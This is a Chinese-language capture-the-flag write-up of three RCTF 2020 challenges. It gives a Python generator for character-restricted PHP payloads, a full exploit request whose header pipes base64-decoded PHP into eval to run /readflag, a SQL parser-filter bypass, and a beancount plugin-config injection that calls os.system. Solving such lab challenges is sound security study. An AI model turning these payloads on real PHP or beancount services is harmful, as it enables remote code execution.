RCTF 2020 部分题目Writeup
发表于:2020-06-02 |

web4 Calc

利用((1/0).(0))得到INF0,(1-9的数字).(0))得到1-90,使用{位置}进行字符串截取,使用各个字符串进行|和&操作得到各种字符,然后就是拼接字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#得到字符脚本
chrs = "INF0123456789-."
result = list(chrs)
recipes = [
];
null = None
recipes.append({"char":"I","first":null,"second":null,"method":null,"make":"(((1/0).(0)){0})"});
recipes.append({"char":"N","first":null,"second":null,"method":null,"make":"(((1/0).(0)){1})"});
recipes.append({"char":"F","first":null,"second":null,"method":null,"make":"(((1/0).(0)){2})"});
recipes.append({"char":"0","first":null,"second":null,"method":null,"make":"(((0).(0)){0})"});
recipes.append({"char":"1","first":null,"second":null,"method":null,"make":"(((1).(0)){0})"});
recipes.append({"char":"2","first":null,"second":null,"method":null,"make":"(((2).(0)){0})"});
recipes.append({"char":"3","first":null,"second":null,"method":null,"make":"(((3).(0)){0})"});
recipes.append({"char":"4","first":null,"second":null,"method":null,"make":"(((4).(0)){0})"});
recipes.append({"char":"5","first":null,"second":null,"method":null,"make":"(((5).(0)){0})"});
recipes.append({"char":"6","first":null,"second":null,"method":null,"make":"(((6).(0)){0})"});
recipes.append({"char":"7","first":null,"second":null,"method":null,"make":"(((7).(0)){0})"});
recipes.append({"char":"8","first":null,"second":null,"method":null,"make":"(((8).(0)){0})"});
recipes.append({"char":"9","first":null,"second":null,"method":null,"make":"(((9).(0)){0})"});
recipes.append({"char":"-","first":null,"second":null,"method":null,"make":"(((-10).(0)){0})"});
recipes.append({"char":".","first":null,"second":null,"method":null,"make":"(((1.1).(0)){1})"});

loop = 0;
while loop < 20:
loop+=1
for i in result:
for j in result:
k = chr(ord(i)|ord(j))
if k not in result and 1<=ord(k)<=256:
result.append(k);
recipe = {"char":k,"first":i,"second":j,"method":"|"}
recipes.append(recipe)
print "%s=(%s%s%s)" % (recipe['char'],recipe['first'],recipe['method'],recipe['second'])
print(result)
for i in result:
for j in result:
k = chr(ord(i)&ord(j))
if k not in result and 1<=ord(k)<=256:
result.append(k);
recipe = {"char":k,"first":i,"second":j,"method":"&"}
recipes.append(recipe)
print "%s=(%s%s%s)" % (recipe['char'],recipe['first'],recipe['method'],recipe['second'])
print(result)

def findRecipe(i):
if i not in result:
raise Exception(i);
for recipe in recipes:
if recipe['char'] == i:
return recipe;
def makeRecipe(recipe):
if recipe['method'] == null:
return recipe['make'];
else:
first = recipe['first'];
second = recipe['second'];
method = recipe['method'];
first = makeRecipe(findRecipe(first));
second = makeRecipe(findRecipe(second));
print "%s=(%s%s%s)" % (recipe['char'],first,method,second)
return "(%s%s%s)" % (first,method,second)

#填写要拼的字符串
target = 'phpinfo';
result1="";
for i in target:
if i not in result:
raise Exception(i);
for recipe in recipes:
if recipe['char'] == i:
result1+=makeRecipe(recipe);
result1+=".";
break;
print(result1);
1
2
3
4
5
#system()
((((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((0).(0)){0})).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((-10).(0)){0})))()

#system(end(getallheaders()))
((((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((0).(0)){0})).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((-10).(0)){0})))(((((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){1})|(((1.1).(0)){1})).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))))(((((((1/0).(0)){0})|(((1.1).(0)){1}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&(((((1/0).(0)){0})|(((0).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0})))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){1})|(((1.1).(0)){1}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){1})|(((1.1).(0)){1}))).(((((1/0).(0)){0})|(((0).(0)){0}))&((((1/0).(0)){1})|(((1.1).(0)){1}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&(((((1/0).(0)){0})|(((0).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0})))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))))()))

机器不出网,离线/readflag。

1
2
3
4
5
6
7
8
9
10
11
12
13
//<?php

$d = array(array("pipe", "r"),array("pipe", "w"),array("pipe", "w"));
$p = proc_open('/readflag', $d, $pipes, '/');
if (is_resource($p)) {
//fwrite($pipes[0], "y\n");fwrite($pipes[0], "y\n");
$t = fgets($pipes[1]);
echo $t;
$t = fgets($pipes[1]);
echo $t;
fwrite($pipes[0], eval("return ".$t.";")."\n");
echo stream_get_contents($pipes[1]);
}
1
2
3
4
5
6
7
8
9
10
11
12
GET http://124.156.140.90:8081/calc.php?num=((((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D)).(((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D)))(((((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D)).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))))(((((((1%2F0).(0))%7B0%7D)%7C(((1.1).(0))%7B1%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26(((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D)))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D))%26((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26(((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D)))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))))())) HTTP/1.1
Host: 124.156.140.90:8081
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://124.156.140.90:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
a: echo Ly88P3BocA0KDQokZCA9IGFycmF5KGFycmF5KCJwaXBlIiwgInIiKSxhcnJheSgicGlwZSIsICJ3IiksYXJyYXkoInBpcGUiLCAidyIpKTsNCiRwID0gcHJvY19vcGVuKCcvcmVhZGZsYWcnLCAkZCwgJHBpcGVzLCAnLycpOw0KaWYgKGlzX3Jlc291cmNlKCRwKSkgew0KICAgIC8vZndyaXRlKCRwaXBlc1swXSwgInlcbiIpO2Z3cml0ZSgkcGlwZXNbMF0sICJ5XG4iKTsNCiAgICAkdCA9IGZnZXRzKCRwaXBlc1sxXSk7DQoJZWNobyAkdDsNCgkkdCA9IGZnZXRzKCRwaXBlc1sxXSk7DQoJZWNobyAkdDsNCiAgICBmd3JpdGUoJHBpcGVzWzBdLCBldmFsKCJyZXR1cm4gIi4kdC4iOyIpLiJcbiIpOw0KICAgIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KfQ==| base64 -d | php -r 'eval(stream_get_contents(STDIN));'


image-20200530171030124

misc* mysql_interface

谁把web放misc里了?

使用了一个parser库,需要满足过滤条件并且parser失败才会执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import (
"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible
_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}

func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
return false
}
for i := 0; i < len(payload); i++ {
if isForbidden[payload[i]] {
return false
}
}
if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
return true
}
return false
}

// do query...
...

翻这个库issues,发现这个。

https://github.com/pingcap/parser/pull/521

1
2
3
CREATE table .t (a bigint)

Since this is invalid in MySQL 8.0 I don't think we want to support this.

.表名在mysql8.0以上无效,以下视同当前数据库.表名,这个库没有支持这个语法,所以payload

1
select flag from .flag

image-20200531161919303

misc* beans

查看js或者相关搜索得知使用的是beancount。

1
editor.session.setMode("ace/mode/beancount")

虽然后端服务器是express的,但是没有找到beancount的js实现,只找到python的,和beancount的语法文档。

https://docs.google.com/document/d/1wAMVrKIA2qtRGmoVDSUBJGmYZSygUaR0uOMW1GV3YE0/edit#heading=h.lxgs9ewvbt8k

https://github.com/beancount/beancount

把git库pull到本地审,发现ira_contribs插件里使用eval处理输入的config字符串。

image-20200601120733380

1
2
beancount的plugin语法 
plugin "将会import的插件名称" "config字符串"

config字符串可控,所以rce。

1
plugin "beancount.plugins.ira_contribs" "__import__('os').system('cat /flag')"
1
RCTF{welc0me_to_beanc0unt_world}
上一篇:
sctf-2020-writeup
下一篇:
Python使使用requests的脚本经过抓包软件

由于Valine存在安全问题,我们不会记录您的IP地址。您所填入的内容,和您的User-Agent信息将明文公开存储。